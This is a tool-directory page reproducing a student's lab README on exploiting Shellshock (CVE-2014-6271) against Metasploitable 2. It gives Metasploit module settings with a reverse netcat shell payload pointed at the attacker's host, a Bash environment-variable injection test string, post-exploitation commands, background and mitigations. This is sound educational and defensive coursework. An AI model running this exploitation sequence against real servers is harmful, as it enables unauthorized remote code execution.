Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Shellshock-CVE-2014-6271-Exploitation-and-Analysis β€” Educational lab demonstrating Shellshock (CVE-2014-6271) exploitation using Metasploit against Metasploitable 2, including scanning, exploitation, reverse shell, and mitigation strategies. | Kitploit
Tools/GitHubGitHub/rajmadhusankha/shellshock-cve-2014-6271-exploitation-and-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrajmadhusankha/shellshock-cve-2014-6271-exploitation-and-analysis

Shellshock-CVE-2014-6271-Exploitation-and-Analysis

Educational lab demonstrating Shellshock (CVE-2014-6271) exploitation using Metasploit against Metasploitable 2, including scanning, exploitation, reverse shell, and mitigation strategies.

View Repository
181 year agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools β†’
Share

🐚 Shellshock (CVE-2014-6271) – Exploitation & Analysis

πŸ“Œ Overview

This is the practical assignment for Vulnerability Assessment and Penetration Testing – II, focusing on the exploitation and analysis of the Shellshock vulnerability (CVE-2014-6271).
Conducted in a controlled lab environment using Metasploitable 2 (target) and Kali Linux (attacker).


πŸ›  Tools Used

  • πŸ’» Kali Linux – Attacker machine
  • πŸ–₯ Metasploitable 2 – Vulnerable target
  • πŸ” Nmap – Scanning & service detection
  • 🎯 Metasploit Framework – Exploitation

πŸ” Vulnerability Summary

  • Type: Remote Code Execution (RCE)
  • Affected Component: GNU Bash (versions 1.14–4.3)
  • Impact: Execute arbitrary commands via specially crafted environment variables
  • CVSS Score: 10.0 (Critical)
  • Exploitation Vector: Often through HTTP headers to CGI scripts

⚑ Lab Steps

1️⃣ Scan Target

 nmap -sS -sV <target-ip>

2️⃣ Start Metasploit msfconsole

3️⃣ Load Exploit Module use exploit/multi/http/apache_mod_cgi_bash_env_exec

4️⃣ Configure Exploit

set RHOST <target-ip>
set TARGETURI /cgi-bin/status
set LHOST <your-kali-ip>
set PAYLOAD cmd/unix/reverse_netcat

5️⃣ Run Exploit exploit

πŸ“Έ Demonstration Includes

πŸ“‘ Nmap scan results

βš™οΈ Metasploit configuration

πŸ”„ Reverse shell session output

πŸ›  Post-exploitation commands:

whoami
uname -a
ifconfig

πŸ“– Theoretical Background What is Shellshock?

Shellshock is a vulnerability in the GNU Bash shell that allows attackers to execute arbitrary commands by injecting them into environment variables. Discovered in September 2014 and assigned CVE-2014-6271, it affects Bash v1.14 to v4.3. How It Works

Bash incorrectly processes function definitions in environment variables and executes extra commands after the function body. In web servers using CGI scripts, HTTP headers become environment variables, creating an easy attack path.

Example:

env x='() { :;}; echo vulnerable' bash -c "echo test"

If vulnerable, it prints vulnerable. Impact

Full Remote Code Execution (RCE) without authentication

Exploitable via simple HTTP requests

Used in botnets, worms, targeted attacks

Affected millions of servers, routers, and IoT devices

Real-World Exploits

Yahoo Servers – Malware via CGI scripts

Wopbot Botnet – Automated exploitation

QNAP NAS – Remote shell access & malware

Self-Replicating Worms – Spread to new vulnerable hosts

πŸ›‘ Prevention & Mitigation

πŸ”„ Update Bash immediately

🚫 Disable unused CGI scripts

πŸ”₯ Use firewalls to block unnecessary traffic

πŸ›‘ Deploy Web Application Firewalls (WAF)

πŸ“œ Monitor HTTP request logs

πŸ‘€ Apply Least Privilege principles

⚠️ Disclaimer

This project is for educational purposes only. All testing was in a controlled lab environment. ❌ Do NOT use these techniques on systems without permission.

πŸ‘¨β€πŸ’» Author: Janith Madhusankha πŸŽ“ Course: BICT (Hons) in Network & Security 🏫 Institution: South Eastern University of Sri Lanka

Download Tool